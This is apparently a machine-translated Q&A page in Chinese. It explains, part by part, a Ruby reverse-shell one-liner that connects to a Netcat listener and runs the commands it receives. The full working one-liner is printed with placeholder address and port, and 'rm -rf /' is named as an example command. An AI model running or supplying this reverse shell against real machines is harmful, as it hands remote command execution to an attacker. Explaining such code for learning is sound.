Nic*_*ole 1 ruby shell command-line ruby-on-rails netcat
我是Ruby的新手,并试图更好地理解这个反向shell单线程,旨在连接回Netcat监听器.
有人可以尝试打破命令并解释一些代码实际上做了什么吗?例如,我知道"TCPSocket.new"创建了新的TCP套接字,但是什么是"cmd = c.gets","IO.popen","| io | c.print io.read"等等.什么是while循环的目的?
ruby -rsocket -e "c=TCPSocket.new('<IP Address>','<Port>');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end"
Run Code Online (Sandbox Code Playgroud)
好吧,让我们打破这个.
ruby
Run Code Online (Sandbox Code Playgroud)
运行ruby解释器,你可能知道那一部分
-rsocket
Run Code Online (Sandbox Code Playgroud)
相当于require "socket"(r要求)
-e "some string"
Run Code Online (Sandbox Code Playgroud)
some string作为ruby脚本运行(e用于执行)
while(cmd=c.gets)
Run Code Online (Sandbox Code Playgroud)
正在说"while gets(获取字符串并包括下一个换行符)从连接中返回一些内容c,即当有数据进入时,将其分配给cmd和...
IO.popen(cmd,'r'){|io|c.print io.read}
Run Code Online (Sandbox Code Playgroud)
.. cmd作为shell命令运行,读取输出,然后print返回到连接c.
因此,有效地,通过网络接收命令(如ls .或rm -rf /),读取它,运行它,获取输出并将其发回.继续这样做,直到另一方停止发送命令.
因为gets会阻塞并等待下一行进来,这个单行将坐在那里等待连接关闭.
可能不希望让其他人在该连接上发送命令,因为它会直接在您的计算机上运行它们发送的任何内容,尽管这可能是"反向shell"的意思.
| 归档时间: |
|
| 查看次数: |
65 次 |
| 最近记录: |